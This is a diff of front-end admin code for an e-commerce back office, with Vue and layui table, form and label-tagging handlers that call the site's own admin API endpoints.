| | | orderDown: ""
|
| | | },
|
| | | {
|
| | | title: "启用状态",
|
| | | width: "0.4rem",
|
| | | orderUp: "",
|
| | | orderDown: "",
|
| | | edit: {
|
| | | type: "switch",
|
| | | },
|
| | | },
|
| | | {
|
| | | title: "起始时间",
|
| | | width: "0.6rem",
|
| | | orderUp: "",
|
| | | orderDown: "",
|
| | | edit: {
|
| | | type: "datetime-local"
|
| | | },
|
| | | },
|
| | | {
|
| | | title: "结束时间",
|
| | | width: "0.6rem",
|
| | | orderUp: "",
|
| | | orderDown: "",
|
| | | edit: {
|
| | | type: "datetime-local"
|
| | | },
|
| | | },
|
| | | {
|
| | | title: "性别",
|
| | | width: "0.4rem",
|
| | | orderUp: "",
|
| | | orderDown: "",
|
| | | edit: {
|
| | | type: "select",
|
| | | placeholder: '',
|
| | | list: []
|
| | | },
|
| | | },
|
| | | {
|
| | | title: "跳转方式",
|
| | | width: "0.6rem",
|
| | | orderUp: "",
|
| | | orderDown: "",
|
| | | edit: {
|
| | | type: "select",
|
| | | list: [],
|
| | | },
|
| | | },
|
| | | {
|
| | | title: "跳转参数",
|
| | | width: "0.8rem",
|
| | | orderUp: "",
|
| | | orderDown: "",
|
| | | edit: {
|
| | | type: "textarea",
|
| | | placeholder: '如:{"url":"http://www.baidu.com","name":"百度跳转"}',
|
| | | },
|
| | | },
|
| | | {
|
| | | title: "跳转需要登录",
|
| | | width: "0.6rem",
|
| | | orderUp: "",
|
| | | orderDown: "",
|
| | | edit: {
|
| | | type: "switch",
|
| | | },
|
| | | },
|
| | | {
|
| | | title: "备注",
|
| | | width: "0.6rem",
|
| | | orderUp: "",
|
| | | orderDown: "",
|
| | | edit: {
|
| | | type: "textarea"
|
| | | },
|
| | | },
|
| | | |
| | | {
|
| | | title: "ID",
|
| | | width: "0.4rem",
|
| | | orderUp: "",
|
| | | orderDown: ""
|
| | | }
|
| | | ]
|
| | | });
|
| | | |
| | | // 跳转方式获取
|
| | | doui.request({
|
| | | type: "jsonp",
|
| | | url: gethttp() + "/admin/new/api/v1/jumpDetail/getJumpOption",
|
| | | success: function(res) {
|
| | | if (res.code != 0) {
|
| | | doui.showToast(res.msg);
|
| | | } else {
|
| | | // 循环所有跳转方式
|
| | | var listC = new Array();
|
| | | for (var i = 0, mo = res.data.result_list; i < mo.length; i++) {
|
| | | var jiedian = {
|
| | | key: mo[i].type,
|
| | | value: mo[i].name
|
| | | };
|
| | | listC.push(jiedian);
|
| | | }
|
| | | // 重置表格头排
|
| | | vm_table.thead.th[9].edit.list = listC;
|
| | | }
|
| | | }
|
| | | });
|
| | |
|
| | | //设置性别选项
|
| | | var sexData = [{
|
| | | key: 120,
|
| | | value: '所有'
|
| | | }, {
|
| | | key: 0,
|
| | | value: '通用'
|
| | | }, {
|
| | | key: 1,
|
| | | value: '女'
|
| | | }, {
|
| | | key: 2,
|
| | | value: '男'
|
| | | }, {
|
| | | key: 12,
|
| | | value: '男+女'
|
| | | }, {
|
| | | key: 10,
|
| | | value: '女+通用'
|
| | | }, {
|
| | | key: 20,
|
| | | value: '男+通用'
|
| | | }];
|
| | | vm_table.thead.th[8].edit.list = sexData;
|
| | |
|
| | |
|
| | | // 工具栏
|
| | | adminDom.table.tools({
|
| | | show: true,
|
| | | list: [{
|
| | | "title": "新建",
|
| | | "name": "add",
|
| | | "icon": "fi fi-plus"
|
| | | },
|
| | | {
|
| | | "title": "删除",
|
| | | "name": "del",
|
| | | "icon": "fi fi-trash"
|
| | | },
|
| | | {
|
| | | "title": "修改",
|
| | | "name": "edit",
|
| | | "icon": "fi fi-edit-box"
|
| | | },
|
| | | {
|
| | | "title": "上移",
|
| | | "name": "moveUp",
|
| | | "icon": "fi fi-up-point"
|
| | | },
|
| | | {
|
| | | "title": "下移",
|
| | | "name": "moveDown",
|
| | | "icon": "fi fi-down-point"
|
| | | },
|
| | | {
|
| | | "title": "贴上标签",
|
| | | "name": "biaoQian",
|
| | | "icon": "admin adminbiaoqian"
|
| | | },
|
| | | ],
|
| | | touch: function(back) {
|
| | | // 新建
|
| | | if (back.toolName == "add") {
|
| | | // 修改弹框创建
|
| | | adminDom.editTan.creat({
|
| | | el: ".winSizeBox",
|
| | | touchSubmit: function(thereData) {
|
| | | // 当前数据
|
| | | var item = thereData.list;
|
| | | // 请求数据
|
| | | var mydata = {
|
| | | cardId: layoutId, // 外层id
|
| | | name: item[3].key, // 名称
|
| | | startTime_str: item[6].key, // 起始时间
|
| | | endTime_str: item[7].key, // 结束时间
|
| | | sex: item[8].key,
|
| | | jumpType: item[9].key, // 跳转方式
|
| | | params: item[10].key, // 跳转参数
|
| | | jumpLogin: item[11].key, // 是否需要登录
|
| | | remark: item[12].key, // 备注
|
| | | };
|
| | |
|
| | | // 启用状态
|
| | | if (item[5].key == 1) {
|
| | | mydata.state = 0;
|
| | | } else {
|
| | | mydata.state = 1;
|
| | | }
|
| | |
|
| | | // 如果修改了图片 |
| | | if (item[0].change == true) {
|
| | | mydata.file = item[0].key;
|
| | | }
|
| | | // 如果修改了副图片 |
| | | if (item[1].change == true) {
|
| | | mydata.file2 = item[1].key;
|
| | | }
|
| | | // 如果修改了副图片 |
| | | if (item[2].change == true) {
|
| | | mydata.file3 = item[2].key;
|
| | | }
|
| | | var loading = layer.load(0, {
|
| | | shade: false
|
| | | });
|
| | | doui.upload({
|
| | | url: gethttp() + "/admin/new/api/v1/specialcard/saveSpecial",
|
| | | data: mydata,
|
| | | success: function(res) {
|
| | | layer.close(loading);
|
| | | if (res.code != 0) {
|
| | | doui.showToast(res.msg);
|
| | | } else {
|
| | | doui.showToast("新建成功");
|
| | | adminDom.editTan.remove();
|
| | | vm_table.search();
|
| | | }
|
| | | }
|
| | | });
|
| | | },
|
| | | });
|
| | | adminDom.editTan.opt({
|
| | | title: "新建"
|
| | | });
|
| | | adminDom.editTan.thereData({
|
| | | show: false,
|
| | | });
|
| | | }
|
| | |
|
| | | // 删除
|
| | | else if (back.toolName == "del") {
|
| | | // 被选中的行id组构建
|
| | | var zu_id = new Array();
|
| | | for (var i = 0, mo = back.list; i < mo.length; i++) {
|
| | | zu_id.push(mo[i][13].key);
|
| | | }
|
| | | var loading = layer.load(0, {
|
| | | shade: false
|
| | | });
|
| | | doui.request({
|
| | | type: "jsonp",
|
| | | url: gethttp() + "/admin/new/api/v1/specialcard/deleteSpecial",
|
| | | data: {
|
| | | idArray: zu_id
|
| | | },
|
| | | success: function(res) {
|
| | | layer.close(loading);
|
| | | if (res.code != 0) {
|
| | | doui.showToast(res.msg);
|
| | | } else {
|
| | | doui.showToast("删除成功");
|
| | | vm_table.search();
|
| | | }
|
| | | }
|
| | | });
|
| | | }
|
| | |
|
| | | // 修改列表
|
| | | else if (back.toolName == "edit") {
|
| | | if (back.list.length > 1) {
|
| | | doui.showToast({
|
| | | content: "一次只能操作一个"
|
| | | });
|
| | | return false;
|
| | | }
|
| | |
|
| | | // 修改弹框创建
|
| | | adminDom.editTan.creat({
|
| | | el: ".winSizeBox",
|
| | | touchSubmit: function(thereData) {
|
| | | // 当前数据
|
| | | var item = thereData.list;
|
| | | // 请求数据
|
| | | var mydata = {
|
| | | cardId: layoutId, // 外层id
|
| | | name: item[3].key, // 名称
|
| | | state: item[5].key, // 启用状态
|
| | | startTime_str: item[6].key, // 起始时间
|
| | | endTime_str: item[7].key, // 结束时间
|
| | | sex: item[8].key,
|
| | | jumpType: item[9].key, // 跳转方式
|
| | | params: item[10].key, // 跳转参数
|
| | | jumpLogin: item[11].key, // 是否需要登录
|
| | | remark: item[12].key, // 备注
|
| | | id: item[13].key, // ID
|
| | | };
|
| | | |
| | | // 启用状态
|
| | | if (item[5].key == 1) {
|
| | | mydata.state = 0;
|
| | | } else {
|
| | | mydata.state = 1;
|
| | | }
|
| | | // 如果修改了图片
|
| | | if (item[0].del == true) {
|
| | | mydata.delPicture = true;
|
| | | } else if (item[0].change == true) {
|
| | | mydata.file = item[0].key;
|
| | | }
|
| | | // 如果修改了副图片 |
| | | if (item[1].del == true) {
|
| | | mydata.delSubPicture = true;
|
| | | } else if (item[1].change == true) {
|
| | | mydata.file2 = item[1].key;
|
| | | }
|
| | | // 如果修改了装饰图片 |
| | | if (item[2].del == true) {
|
| | | mydata.delIcon = true;
|
| | | } else if (item[2].change == true) {
|
| | | mydata.file3 = item[2].key;
|
| | | }
|
| | | // 信息上传
|
| | | var loading = layer.load(0, {
|
| | | shade: false
|
| | | });
|
| | | doui.upload({
|
| | | url: gethttp() + "/admin/new/api/v1/specialcard/saveSpecial",
|
| | | data: mydata,
|
| | | success: function(res) {
|
| | | layer.close(loading);
|
| | | if (res.code != 0) {
|
| | | doui.showToast(res.msg);
|
| | | } else {
|
| | | doui.showToast("修改成功");
|
| | | adminDom.editTan.remove();
|
| | | vm_table.search();
|
| | | }
|
| | | }
|
| | | });
|
| | | },
|
| | | });
|
| | | adminDom.editTan.opt({
|
| | | title: "修改"
|
| | | });
|
| | | adminDom.editTan.thereData({
|
| | | show: true,
|
| | | list: back.list[0]
|
| | | });
|
| | | }
|
| | |
|
| | | // 贴上标签
|
| | | else if (back.toolName == "biaoQian") {
|
| | | // 被选中的行id组构建
|
| | | var zu_id = new Array();
|
| | | for (var i = 0, mo = back.list; i < mo.length; i++) {
|
| | | zu_id.push(mo[i][13].key);
|
| | | }
|
| | | sys_id = zu_id;
|
| | | // 显示弹框
|
| | | doui.domShow({
|
| | | el: "#admin-label-tan",
|
| | | animat: false,
|
| | | success: function() {
|
| | | vm_labelTan.thereData.request(zu_id);
|
| | | }
|
| | | });
|
| | | }
|
| | |
|
| | | // 上移
|
| | | else if (back.toolName == "moveUp") {
|
| | | if (back.list.length > 1) {
|
| | | doui.showToast({
|
| | | content: "一次只能操作一个"
|
| | | });
|
| | | return false;
|
| | | }
|
| | | // 当前数据
|
| | | var item = back.list[0];
|
| | | var loading = layer.load(0, {
|
| | | shade: false
|
| | | });
|
| | | doui.request({
|
| | | type: "jsonp",
|
| | | url: gethttp() + "/admin/new/api/v1/specialcard/saveSpecialOrder",
|
| | | data: {
|
| | | id: item[13].key,
|
| | | moveType: "-1",
|
| | | sex: $("select").eq(0).val(),
|
| | | },
|
| | | success: function(res) {
|
| | | layer.close(loading);
|
| | | if (res.code != 0) {
|
| | | doui.showToast(res.msg);
|
| | | } else {
|
| | | // 获取当前行顺序
|
| | | var thisIndex = null;
|
| | | for (var i = 0, mo = vm_table.tbody.tr; i < mo.length; i++) {
|
| | | if (mo[i].td[13].key == item[13].key) {
|
| | | thisIndex = i;
|
| | | break;
|
| | | }
|
| | | }
|
| | | // 直接更换顺序
|
| | | upRecord(vm_table.tbody.tr, thisIndex);
|
| | | }
|
| | | }
|
| | | });
|
| | | }
|
| | |
|
| | | // 下移
|
| | | else if (back.toolName == "moveDown") {
|
| | | if (back.list.length > 1) {
|
| | | doui.showToast({
|
| | | content: "一次只能操作一个"
|
| | | });
|
| | | return false;
|
| | | }
|
| | | // 当前数据
|
| | | var item = back.list[0];
|
| | | var loading = layer.load(0, {
|
| | | shade: false
|
| | | });
|
| | | doui.request({
|
| | | type: "jsonp",
|
| | | url: gethttp() + "/admin/new/api/v1/specialcard/saveSpecialOrder",
|
| | | data: {
|
| | | id: item[13].key,
|
| | | moveType: "1",
|
| | | sex: $("select").eq(0).val(),
|
| | | },
|
| | | success: function(res) {
|
| | | layer.close(loading);
|
| | | if (res.code != 0) {
|
| | | doui.showToast(res.msg);
|
| | | } else {
|
| | | // 获取当前行顺序
|
| | | var thisIndex = null;
|
| | | for (var i = 0, mo = vm_table.tbody.tr; i < mo.length; i++) {
|
| | | if (mo[i].td[13].key == item[13].key) {
|
| | | thisIndex = i;
|
| | | break;
|
| | | }
|
| | | }
|
| | | // 直接更换顺序
|
| | | downRecord(vm_table.tbody.tr, thisIndex);
|
| | | }
|
| | | }
|
| | | });
|
| | | }
|
| | |
|
| | | }
|
| | | });
|
| | |
|
| | |
|
| | |
|
| | | // --------------------------------------------------------- 标签设置
|
| | | // vue实例化
|
| | | vm_labelTan = new Vue({
|
| | | el: "#admin-label-tan",
|
| | | data: {
|
| | | // 当前需要初始展示的标签
|
| | | thereData: {
|
| | | // 已经存在的数据列表
|
| | | list: [],
|
| | | // 查询项
|
| | | ids: [],
|
| | | page: 1,
|
| | | pageSize: 100,
|
| | | // 请求数据
|
| | | request: function(idsC) {
|
| | | if (idsC.length != 1) {
|
| | | doui.showToast("注意:操作多个时,会将已存在标签替换")
|
| | | } else {
|
| | | if (idsC) {
|
| | | vm_labelTan.thereData.ids = idsC;
|
| | | }
|
| | | var loading = layer.load(0, {
|
| | | shade: false
|
| | | });
|
| | | doui.request({
|
| | | type: "jsonp",
|
| | | url: gethttp() + "/admin/new/api/v1//specialLabel/getBySpecialId",
|
| | | data: {
|
| | | specialId: idsC[0],
|
| | | },
|
| | | success: function(res) {
|
| | | layer.close(loading);
|
| | | if (res.code != 0) {
|
| | | doui.showToast(res.msg);
|
| | | } else {
|
| | | vm_labelTan.thereData.list = vm_labelTan.thereData.list.concat(res.data.result_list);
|
| | | }
|
| | | }
|
| | | });
|
| | | }
|
| | | },
|
| | | // 标签上的 叉叉 点击
|
| | | action_del: function(indexC) {
|
| | | vm_labelTan.thereData.list.splice(indexC, 1);
|
| | | },
|
| | | // 新添加 点击
|
| | | action_add: function() {
|
| | | vm_labelTan.all.show = true;
|
| | | vm_labelTan.all.request(vm_labelTan.thereData.ids);
|
| | | },
|
| | | },
|
| | | // 标签总列表
|
| | | all: {
|
| | | show: false, // 是否显示
|
| | | list: [], // 已经存在的数据列表
|
| | | // 查询项
|
| | | ids: [],
|
| | | key: "",
|
| | | page: 1,
|
| | | pageSize: 100,
|
| | | // 请求数据
|
| | | request: function(idsC) {
|
| | | vm_labelTan.all.list = [];
|
| | |
|
| | | if (idsC) {
|
| | | vm_labelTan.all.ids = idsC;
|
| | | }
|
| | | var loading = layer.load(0, {
|
| | | shade: false
|
| | | });
|
| | | doui.request({
|
| | | type: "jsonp",
|
| | | url: gethttp() + "/admin/new/api/v1/specialLabel/query",
|
| | | data: {
|
| | | ids: vm_labelTan.all.ids,
|
| | | state: 1,
|
| | | key: vm_labelTan.all.key,
|
| | | pageIndex: vm_labelTan.all.page,
|
| | | pageSize: vm_labelTan.all.pageSize,
|
| | | },
|
| | | success: function(res) {
|
| | | layer.close(loading);
|
| | | if (res.code != 0) {
|
| | | doui.showToast(res.msg);
|
| | | } else {
|
| | | for (var i = 0, mo = res.data.result_list; i < mo.length; i++) {
|
| | | var add = true;
|
| | | for (var j = 0, mt = vm_labelTan.thereData.list; j < mt.length; j++) {
|
| | | if (mo[i].id == mt[j].id) {
|
| | | add = false;
|
| | | break;
|
| | | }
|
| | | }
|
| | |
|
| | | if (add) {
|
| | | mo[i]["check"] = false;
|
| | | vm_labelTan.all.list.push(mo[i]);
|
| | | }
|
| | | }
|
| | | }
|
| | | }
|
| | | });
|
| | | },
|
| | | // 标签上的 叉叉 点击
|
| | | action_del: function() {
|
| | | vm_labelTan.all.key = "";
|
| | | vm_labelTan.all.page = 1;
|
| | | vm_labelTan.all.pageSize = 100;
|
| | | vm_labelTan.all.list = new Array();
|
| | | vm_labelTan.all.show = false;
|
| | | },
|
| | | // 标签 点击
|
| | | action_click: function(item) {
|
| | | if (typeof(item.check) == "boolean") {
|
| | | item.check = !item.check;
|
| | | } else {
|
| | | item["check"] = true;
|
| | | }
|
| | | },
|
| | | // 确定添加
|
| | | action_left: function() {
|
| | | // 循环所有标签
|
| | | for (var i = 0, mo = vm_labelTan.all.list; i < mo.length; i++) {
|
| | | // 找到被选中的
|
| | | if (mo[i].check == true) {
|
| | | // 修饰一下放入thereData.list中
|
| | | var jiedian = mo[i];
|
| | | vm_labelTan.thereData.list.push(jiedian);
|
| | | }
|
| | | }
|
| | | // 关闭当前
|
| | | vm_labelTan.all.show = false;
|
| | | }
|
| | | },
|
| | | },
|
| | | methods: {
|
| | | // 关闭按钮 点击
|
| | | closeClick: function() {
|
| | | vm_labelTan.thereData.ids = new Array();
|
| | | vm_labelTan.thereData.page = 1;
|
| | | vm_labelTan.thereData.pageSize = 100;
|
| | | vm_labelTan.thereData.list = new Array();
|
| | | vm_labelTan.all.show = false;
|
| | | vm_labelTan.all.key = "";
|
| | | vm_labelTan.all.page = 1;
|
| | | doui.domHide({
|
| | | el: "#admin-label-tan",
|
| | | animat: false,
|
| | | });
|
| | | },
|
| | | // 确定提交 点击
|
| | | subClick: function() {
|
| | | // 当前最终数据
|
| | | var result = vm_labelTan.thereData.list;
|
| | | // 获取标签ID组
|
| | | var BQ_id = new Array();
|
| | | for (var i = 0, mo = result; i < mo.length; i++) {
|
| | | BQ_id.push(mo[i].id);
|
| | | }
|
| | | var loading = layer.load(0, {
|
| | | shade: false
|
| | | });
|
| | | doui.request({
|
| | | type: "jsonp",
|
| | | url: gethttp() + "/admin/new/api/v1/specialLabel/batchGoodsAddLables",
|
| | | data: {
|
| | | ids: sys_id,
|
| | | labIds: BQ_id,
|
| | | },
|
| | | success: function(res) {
|
| | | layer.close(loading);
|
| | | if (res.code != 0) {
|
| | | doui.showToast(res.msg);
|
| | | } else {
|
| | | doui.showToast("处理成功");
|
| | | vm_labelTan.closeClick();
|
| | | vm_table.search();
|
| | | }
|
| | | }
|
| | | });
|
| | | }
|
| | | },
|
| | | });
|
| | |
|
| | | // ----------------------------------------------------- 初始操作
|
| | | // 模拟搜索点击
|
| | | vm_table.search();
|
| | | setTimeout(function() {
|
| | | $("#admin-header").find("select").eq(0).after("<div class='fboxRow Ycenter' id='versionControl'></div>");
|
| | | versionControl.init($("#versionControl"));
|
| | | }, 100);
|
| | | }
|
| | | });
|
| | | |
| | | // 切换状态
|
| | | function switchState(id) {
|
| | | var loading = layer.load(0, {
|
| | | shade: false
|
| | | });
|
| | | |
| | | doui.request({
|
| | | type: "jsonp",
|
| | | url: gethttp() + "/admin/new/api/v1/specialcard/switchState",
|
| | | data: {id: id},
|
| | | success: function (res) |
| | | {
|
| | | layer.close(loading);
|
| | | if (res.code != 0) { doui.showToast(res.msg); }
|
| | | else { vm_table.search(); }
|
| | | }
|
| | | });
|
| | | }
|
| | | </script> |
New file |
| | |
| | | <!DOCTYPE html>
|
| | | <html>
|
| | | <head>
|
| | | <meta charset="utf-8">
|
| | | <title>Layui</title>
|
| | | <meta name="renderer" content="webkit">
|
| | | <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
|
| | | <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
|
| | | <link rel="stylesheet" type="text/css" href="../../../css/doui.min.css" />
|
| | | <link rel="stylesheet" type="text/css" href="../../../layui/css/layui.css" />
|
| | |
|
| | | <script src="../../../js/doui.min.js" type="text/javascript" charset="utf-8"></script>
|
| | | <script src="../../../js/requestHost.js" type="text/javascript" charset="utf-8"></script>
|
| | | <script src="../../../layui/layui.all.js" type="text/javascript" charset="utf-8"></script>
|
| | | <script type="text/javascript">
|
| | | doui.importLoad({
|
| | | importArray: [
|
| | | // 雷打不动
|
| | | getHostPath() + "js/jquery.min.js",
|
| | | getHostPath() + "js/vue.min.js",
|
| | | // 字体图标
|
| | | getHostPath() + "fontAdmin/iconfont.css",
|
| | | getHostPath() + "font/iconfont.css",
|
| | | // dom模板
|
| | | getHostPath() + "css/admin-all.css",
|
| | | getHostPath() + "js/admin-creat.js",
|
| | | ],
|
| | | });
|
| | | </script>
|
| | | </head>
|
| | | <body>
|
| | | <div style="margin:50px auto; width:90%; height:auto; ">
|
| | | <hr>
|
| | | <form class="layui-form" lay-filter="contentForm" style="margin-top: 40px;">
|
| | | <div id="content">
|
| | | <div v-for="(item, index) in list">
|
| | | <input type="text" hidden="hidden" v-bind:name="'config['+index +'].id'" v-bind:value="item.config.id" />
|
| | |
|
| | | <v-if v-if="item.editMode == 1">
|
| | | <div class="layui-form-item">
|
| | | <label class="layui-form-label" style="width: 20%;">{{item.config.name}}:</label>
|
| | | <div class="layui-input-block">
|
| | | <input type="text" name="title" lay-verify="title" autocomplete="off" class="layui-input" style="width: 70%;"
|
| | | v-bind:name="'config['+index +'].value'" v-bind:value="item.config.value">
|
| | | </div>
|
| | | </div>
|
| | | </v-if>
|
| | |
|
| | |
|
| | | <v-if v-if="item.editMode == 2">
|
| | | <div class="layui-form-item layui-form-text">
|
| | | <label class="layui-form-label" style="width: 20%;">{{item.config.name}}:</label>
|
| | | <div class="layui-input-block">
|
| | | <textarea class="layui-textarea" style="width: 70%;height:200px;" v-bind:name="'config['+index +'].value'">{{item.config.value}}</textarea>
|
| | | </div>
|
| | | </div>
|
| | | </v-if>
|
| | | |
| | | <v-if v-if="item.editMode == 3">
|
| | | <div class="layui-form-item">
|
| | | <label class="layui-form-label" style="width: 20%;">{{item.config.name}}:</label>
|
| | | <div class="layui-input-block">
|
| | | <v-if v-if="item.config.value == 1">
|
| | | <input type="radio" v-bind:name="'config['+index +'].value'" value="1" title="启用" checked="">
|
| | | <input type="radio" v-bind:name="'config['+index +'].value'" value="0" title="停用">
|
| | | </v-if>
|
| | |
|
| | | <v-if v-if="item.config.value != 1">
|
| | | <input type="radio" v-bind:name="'config['+index +'].value'" value="1" title="启用">
|
| | | <input type="radio" v-bind:name="'config['+index +'].value'" value="0" title="停用" checked="">
|
| | | </v-if>
|
| | | </div>
|
| | | </div>
|
| | | </v-if>
|
| | | |
| | | </div>
|
| | | </div>
|
| | | |
| | | <div class="layui-form-item" style="margin:20px 0px 0px 250px; width: 50px;">
|
| | | <div class="layui-input-block">
|
| | | <button type="button" class="layui-btn" id="submitData" style="width: 200px;height:60px">立即保存</button>
|
| | | </div>
|
| | | </div>
|
| | | </form>
|
| | | <hr>
|
| | | </div>
|
| | | </body>
|
| | | </html>
|
| | |
|
| | |
|
| | | <script>
|
| | | //只有执行了这一步,部分表单元素才会自动修饰成功
|
| | | layui.use('form', function() {
|
| | | var form = layui.form;
|
| | | form.render();
|
| | | });
|
| | |
|
| | | // 接收传递值
|
| | | var type = "article";
|
| | | var from;
|
| | | layui.use(['form', 'layedit', 'laydate'], function() {
|
| | | form = layui.form,
|
| | | layer = layui.layer,
|
| | | layedit = layui.layedit;
|
| | |
|
| | | //表单取值
|
| | | layui.$('#submitData').on('click', function() {
|
| | | var mydata = form.val('contentForm');
|
| | | doui.upload({
|
| | | url: gethttp() + "/admin/new/api/v1/config/saveConfig",
|
| | | data: mydata,
|
| | | success: function(res) {
|
| | | doui.hideLoading();
|
| | | if (res.code != 0) {
|
| | | doui.showToast(res.msg);
|
| | | } else {
|
| | | doui.showToast("保存成功");
|
| | |
|
| | | // 刷新页面数据
|
| | | doui.pageToUrl({
|
| | | type: "replace",
|
| | | url: "config_manage.html",
|
| | | data: {
|
| | | type: type,
|
| | | },
|
| | | });
|
| | | }
|
| | | }
|
| | | });
|
| | | });
|
| | | });
|
| | |
|
| | | // doui准备完毕
|
| | | doui.onReady({
|
| | | success: function() {
|
| | | var vm = new Vue({
|
| | | el: "#content",
|
| | | // 数据
|
| | | data: {
|
| | | list: [],
|
| | | },
|
| | | updated: function() {
|
| | | layui.use(['form'], function() {
|
| | | form.render();
|
| | | })
|
| | | },
|
| | | });
|
| | |
|
| | | |
| | | var loading = layer.load(0, {shade: false}); //0代表加载的风格,支持0-2
|
| | | |
| | | // 请求数据
|
| | | doui.request({
|
| | | type: "jsonp",
|
| | | url: gethttp() + '/admin/new/api/v1/config/getByCategory',
|
| | | data: {
|
| | | type: type,
|
| | | },
|
| | | success: function(res) {
|
| | | layer.close(loading);
|
| | | if (res.code != 0) {
|
| | | doui.showToast(res.msg);
|
| | | } else {
|
| | | vm.list = res.data.list
|
| | | }
|
| | | },
|
| | | });
|
| | | },
|
| | | });
|
| | | </script> |
| | |
| | | <label class="layui-form-label">商品链接</label>
|
| | | <div class="layui-input-block" style="display: flex; ">
|
| | | <input type="text" name="goodsUrl" id="goodsUrl" lay-verify="title" autocomplete="off" placeholder="输入商品链接"
|
| | | class="layui-input" style="width: 602px;">
|
| | | class="layui-input" style="width: 500px;">
|
| | | <button type="button" class="layui-btn layui-btn-normal" v-on:click="goods.seachGoods()" style="margin:0px 0px 0px 20px;">搜索</button>
|
| | | <button type="button" class="layui-btn layui-btn-primary" onclick="clearContent('goodsUrl')" style="margin:0px 0px 0px 20px;">清理</button>
|
| | | </div>
|
| | | </div>
|
| | | <div style="width:450px; height:400px; margin:0px 0px 20px 110px; border:1px solid #CCC; overflow: hidden;">
|
| | |
| | | <div class="layui-form-mid layui-word-aux" style="margin:0px 0px 0px 20px;"> 选填</div>
|
| | | </div>
|
| | | </div>
|
| | | |
| | | |
| | | <div class="layui-form-item">
|
| | | <label class="layui-form-label">文本转链</label>
|
| | | <div class="layui-input-block" style="display: flex; ">
|
| | | <v-if v-if="needSpin == true">
|
| | | <input type="radio" lay-filter="needSpin1" name="needSpin1" value="true" title="是" checked="">
|
| | | <input type="radio" lay-filter="needSpin1" name="needSpin1" value="false" title="否">
|
| | | </v-if>
|
| | | <v-if v-if="needSpin == false">
|
| | | <input type="radio" lay-filter="needSpin1" name="needSpin1" value="true" title="是">
|
| | | <input type="radio" lay-filter="needSpin1" name="needSpin1" value="false" title="否" checked="">
|
| | | </v-if>
|
| | | <div class="layui-form-mid layui-word-aux" style="margin:0px 0px 0px 20px;"> 选填</div>
|
| | | </div>
|
| | | </div>
|
| | | |
| | | <div class="layui-form-item layui-form-text" style="display: flex; ">
|
| | | <div>
|
| | | <label class="layui-form-label">评论文本</label>
|
| | |
| | | </div>
|
| | | <div class="layui-form-mid layui-word-aux" style="margin:100px 0px 0px 20px;"> 选填</div>
|
| | | </div>
|
| | | |
| | | |
| | |
|
| | | <div class="layui-form-item" style="margin:10px 0px 0px 500px; width: 50px;">
|
| | | <div class="layui-input-block">
|
| | |
| | | <label class="layui-form-label">商品链接</label>
|
| | | <div class="layui-input-block" style="display: flex; ">
|
| | | <input type="text" name="goodsUrl" id="goodsUrl2" lay-verify="title" autocomplete="off" placeholder="输入商品链接"
|
| | | class="layui-input" style="width: 602px;">
|
| | | class="layui-input" style="width: 500px;">
|
| | | <button type="button" class="layui-btn layui-btn-normal" v-on:click="goods.seachGoods()" style="margin:0px 0px 0px 20px;">搜索</button>
|
| | | <button type="button" class="layui-btn layui-btn-primary" onclick="clearContent('goodsUrl2')" style="margin:0px 0px 0px 20px;">清理</button>
|
| | | </div>
|
| | | </div>
|
| | | <div class="layui-form-item" style="width:450px; height:400px; margin:0px 0px 20px 110px; border:1px solid #CCC; overflow: hidden;">
|
| | |
| | | <div class="layui-input-block" style="display: flex; ">
|
| | | <input type="text" v-model="tags" lay-verify="title" autocomplete="off" placeholder="通用优惠券" class="layui-input"
|
| | | style="width: 602px;">
|
| | | <div class="layui-form-mid layui-word-aux" style="margin:0px 0px 0px 20px;"> 选填</div>
|
| | | </div>
|
| | | </div>
|
| | | |
| | | <div class="layui-form-item">
|
| | | <label class="layui-form-label">文本转链</label>
|
| | | <div class="layui-input-block" style="display: flex; ">
|
| | | <v-if v-if="needSpin == true">
|
| | | <input type="radio" lay-filter="needSpin2" name="needSpin2" value="true" title="是" checked="">
|
| | | <input type="radio" lay-filter="needSpin2" name="needSpin2" value="false" title="否">
|
| | | </v-if>
|
| | | <v-if v-if="needSpin == false">
|
| | | <input type="radio" lay-filter="needSpin2" name="needSpin2" value="true" title="是">
|
| | | <input type="radio" lay-filter="needSpin2" name="needSpin2" value="false" title="否" checked="">
|
| | | </v-if>
|
| | | <div class="layui-form-mid layui-word-aux" style="margin:0px 0px 0px 20px;"> 选填</div>
|
| | | </div>
|
| | | </div>
|
| | |
| | | <div class="layui-input-block" style="display: flex; ">
|
| | | <input type="text" v-model="tags" lay-verify="title" autocomplete="off" placeholder="通用优惠券" class="layui-input"
|
| | | style="width: 602px;">
|
| | | <div class="layui-form-mid layui-word-aux" style="margin:0px 0px 0px 20px;"> 选填</div>
|
| | | </div>
|
| | | </div>
|
| | | |
| | | <div class="layui-form-item">
|
| | | <label class="layui-form-label">文本转链</label>
|
| | | <div class="layui-input-block" style="display: flex; ">
|
| | | <v-if v-if="needSpin == true">
|
| | | <input type="radio" lay-filter="needSpin3" name="needSpin3" value="true" title="是" checked="">
|
| | | <input type="radio" lay-filter="needSpin3" name="needSpin3" value="false" title="否">
|
| | | </v-if>
|
| | | <v-if v-if="needSpin == false">
|
| | | <input type="radio" lay-filter="needSpin3" name="needSpin3" value="true" title="是">
|
| | | <input type="radio" lay-filter="needSpin3" name="needSpin3" value="false" title="否" checked="">
|
| | | </v-if>
|
| | | <div class="layui-form-mid layui-word-aux" style="margin:0px 0px 0px 20px;"> 选填</div>
|
| | | </div>
|
| | | </div>
|
| | |
| | | });
|
| | |
|
| | | // vue 券信息
|
| | | var vmcpCoupon = new Vue({
|
| | | el: "#goodsCoupon1",
|
| | | // 数据
|
| | | data: {
|
| | | content: "",
|
| | | submitCoupon1: function() {
|
| | | doui.showLoading("正在处理");
|
| | | var mydata = {
|
| | | pid: id,
|
| | | content: vmcpCoupon.content,
|
| | | };
|
| | | doui.upload({
|
| | | type: "jsonp",
|
| | | url: gethttp() + "/admin/new/api/v1/evaluate/saveGoodsCoupon",
|
| | | data: mydata,
|
| | | success: function(res) {
|
| | | doui.hideLoading();
|
| | | if (res.code != 0) {
|
| | | doui.showToast(res.msg);
|
| | | } else {
|
| | | doui.showToast("成功");
|
| | | }
|
| | | }
|
| | | });
|
| | | },
|
| | | },
|
| | | });
|
| | |
|
| | | // vue 券信息
|
| | | var vmcp = new Vue({
|
| | | el: "#couponInfo",
|
| | | // 数据
|
| | |
| | | tags: "",
|
| | | tagUrl: "",
|
| | | tagDesc: "",
|
| | | needSpin:"",
|
| | |
|
